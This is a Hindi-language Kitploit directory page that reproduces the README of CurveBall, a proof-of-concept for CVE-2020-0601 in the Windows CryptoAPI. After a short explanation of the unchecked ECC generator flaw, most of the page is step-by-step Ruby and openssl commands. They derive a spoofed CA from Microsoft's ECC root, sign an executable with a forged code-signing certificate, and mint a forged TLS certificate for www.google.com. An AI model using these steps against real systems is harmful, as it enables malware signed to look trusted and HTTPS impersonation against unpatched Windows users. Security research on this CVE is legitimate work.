Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CurveBall — CVE-2020-0601 के लिए प्रमाण-अवधारणा - विंडोज CryptoAPI (Crypt32.dll) | Kitploit
उपकरण/GitHubGitHub/ly4k/curveball
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब सुरक्षाक्रिप्टोग्राफीलर्निंग और शिक्षा
GitHubly4k/curveball

CurveBall

CVE-2020-0601 के लिए प्रमाण-अवधारणा - विंडोज CryptoAPI (Crypt32.dll)

रिपॉजिटरी देखें
88925626 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

कर्वबॉल (CVE-2020-0601) - PoC

CVE-2020-0601, जिसे आमतौर पर CurveBall के रूप में जाना जाता है, एक कमजोरी है जिसमें अण्डाकार वक्र क्रिप्टोग्राफी (ECC) का उपयोग करने वाले प्रमाणपत्रों के हस्ताक्षर की सही ढंग से पुष्टि नहीं की जाती है।

ECC विभिन्न मापदंडों पर निर्भर करता है। ये मापदंड कई वक्रों के लिए मानकीकृत हैं। हालांकि, माइक्रोसॉफ्ट ने इन सभी मापदंडों की जांच नहीं की। पैरामीटर G (जनरेटर) की जांच नहीं की गई थी, और इसलिए हमलावर अपना स्वयं का जनरेटर प्रदान कर सकता है, जिससे जब माइक्रोसॉफ्ट किसी विश्वसनीय CA के विरुद्ध प्रमाणपत्र को मान्य करने का प्रयास करता है, तो वह केवल मेल खाने वाली सार्वजनिक कुंजियों की खोज करेगा, और फिर प्रमाणपत्र के जनरेटर का उपयोग करेगा।

NSA इस कमजोरी के प्रभाव और अधिक जानकारी यहाँ बताता है।

MicrosoftECCProductRootCertificateAuthority.cer विंडोज 10 पर डिफ़ॉल्ट रूप से ECC का उपयोग करने वाला एक विश्वसनीय रूट प्रमाणपत्र प्राधिकरण (CA) है। इस प्रमाणपत्र से हस्ताक्षरित कोई भी चीज़ स्वचालित रूप से विश्वसनीय होगी।

न्यूनतम आवश्यकताएँ openssl 1.1.0 ruby 2.4.0

गणितीय विवरण

यदि आप इस कमजोरी के गणितीय विवरण में रुचि रखते हैं, तो कृपया यहाँ और पढ़ें।

प्रमाणपत्र को जाली बनाने के लिए, हम निम्नलिखित पैरामीटर सेट करते हैं:

root@kitploit:~
d' = 1
G' = Q

Such that Q = Q' = d'G'।

उपयोग

एक विश्वसनीय CA के समान सार्वजनिक कुंजी और पैरामीटर वाला एक प्रमाणपत्र बनाएँ। इसका उपयोग हमारे जाली CA के रूप में किया जाएगा। जनरेटर को एक ऐसे मान पर सेट करें जहाँ आप निजी कुंजी जानते हैं। आप आसानी से जनरेटर को सार्वजनिक कुंजी पर सेट कर सकते हैं, और निजी कुंजी को 1 पर सेट कर सकते हैं, क्योंकि Q = dG।

इसके बाद, आप अपनी इच्छित एक्सटेंशन, जैसे कोड साइनिंग या सर्वर प्रमाणीकरण, के साथ एक प्रमाणपत्र साइनिंग अनुरोध (CSR) बनाते हैं।

इस प्रमाणपत्र अनुरोध पर अपने जाली CA और CA कुंजी से हस्ताक्षर करें, और उपयोग एक्सटेंशन जोड़ें।

हस्ताक्षरित प्रमाणपत्र अनुरोध (अब एक नियमित प्रमाणपत्र) को जाली CA के साथ बंडल करें, और आपके पास एक हस्ताक्षरित और विश्वसनीय प्रमाणपत्र है।

जब विंडोज जाँचता है कि प्रमाणपत्र विश्वसनीय है या नहीं, तो वह देखेगा कि इस पर हमारे जाली CA द्वारा हस्ताक्षर किया गया है। फिर वह विश्वसनीय CA के विरुद्ध जाँच करने के लिए जाली CA की सार्वजनिक कुंजी को देखता है। फिर वह बस हमारे जाली CA के हस्ताक्षर को जाली CA के जनरेटर से सत्यापित करता है - यही समस्या है।

यदि आप विंडोज में अपने नए और हस्ताक्षरित, विश्वसनीय प्रमाणपत्र को खोलना चुनते हैं, तो यह इसे विश्वसनीय नहीं मानेगा, क्योंकि यह किसी भी चीज़ से बंधा नहीं है, इसलिए यह जाली CA का उपयोग नहीं करेगा। प्रमाणपत्र को हमेशा जाली CA के साथ स्वयं प्रस्तुत करना चाहिए।

कोड साइनिंग

कृपया इसका उपयोग केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए करें।

CA से सार्वजनिक कुंजी निकालें और इसे कमजोरी के अनुसार संशोधित करें:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

इस कुंजी के आधार पर एक नया x509 प्रमाणपत्र जनरेट करें। यह हमारा अपना जाली CA होगा।

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

एक नई कुंजी जनरेट करें। यह कुंजी आपकी इच्छानुसार किसी भी प्रकार की हो सकती है। इसका उपयोग एक कोड साइनिंग प्रमाणपत्र बनाने के लिए किया जाएगा, जिस पर हम अपने स्वयं के CA से हस्ताक्षर करेंगे।

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

इसके बाद, एक नया प्रमाणपत्र साइनिंग अनुरोध (CSR) बनाएं। यह अनुरोध अक्सर विश्वसनीय CA को भेजा जाता है, लेकिन चूंकि हमारे पास एक जाली है, इसलिए हम इसे स्वयं हस्ताक्षरित कर सकते हैं।

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

अपने नए CSR पर हमारे जाली CA और CA कुंजी से हस्ताक्षर करें। यह प्रमाणपत्र 2047 में समाप्त होगा, जबकि वास्तविक विश्वसनीय Microsoft CA 2043 में समाप्त होगा।

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

केवल एक चीज बची है कि प्रमाणपत्र, इसकी कुंजी और जाली CA को एक PKCS12 फ़ाइल में पैक करें ताकि निष्पादन योग्य फ़ाइलों पर हस्ताक्षर किया जा सके।

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

PKCS12 फ़ाइल के साथ अपनी निष्पादन योग्य फ़ाइल पर हस्ताक्षर करें।

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

कृपया इसका उपयोग केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए करें। CA से सार्वजनिक कुंजी निकालें और इसे कमजोरी के अनुसार संशोधित करें:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

इस कुंजी के आधार पर एक नया x509 प्रमाणपत्र जनरेट करें। यह हमारा अपना जाली CA होगा।

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

एक नई कुंजी जनरेट करें। यह कुंजी आपकी इच्छानुसार किसी भी प्रकार की हो सकती है। इसका उपयोग एक SSL प्रमाणपत्र बनाने के लिए किया जाएगा, जिस पर हम अपने स्वयं के CA से हस्ताक्षर करेंगे।

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

इसके बाद, एक नया प्रमाणपत्र साइनिंग अनुरोध (CSR) बनाएं। यह अनुरोध अक्सर विश्वसनीय CA को भेजा जाता है, लेकिन चूंकि हमारे पास एक जाली है, इसलिए हम इसे स्वयं हस्ताक्षरित कर सकते हैं।

यदि आप डोमेन नाम बदलना चाहते हैं, तो openssl_tls.conf के अंदर CN = www.google.com को CN = www.example.com में संपादित करें।

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

अपने नए CSR पर हमारे जाली CA और CA कुंजी से हस्ताक्षर करें। यह प्रमाणपत्र 2047 में समाप्त होगा, जबकि वास्तविक विश्वसनीय Microsoft CA 2043 में समाप्त होगा।

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

अब आप अपनी सामग्री प्रदान करने के लिए cert.crt, cert.key, और spoofed_ca.crt का उपयोग कर सकते हैं। फिर से, अपने सर्वर के HTTPS कॉन्फ़िगरेशन में spoofed_ca.crt को एक प्रमाणपत्र श्रृंखला के रूप में जोड़ना याद रखें।

उपयोग का उदाहरण tls/index.js में देखें।

टूल डाउनलोड करें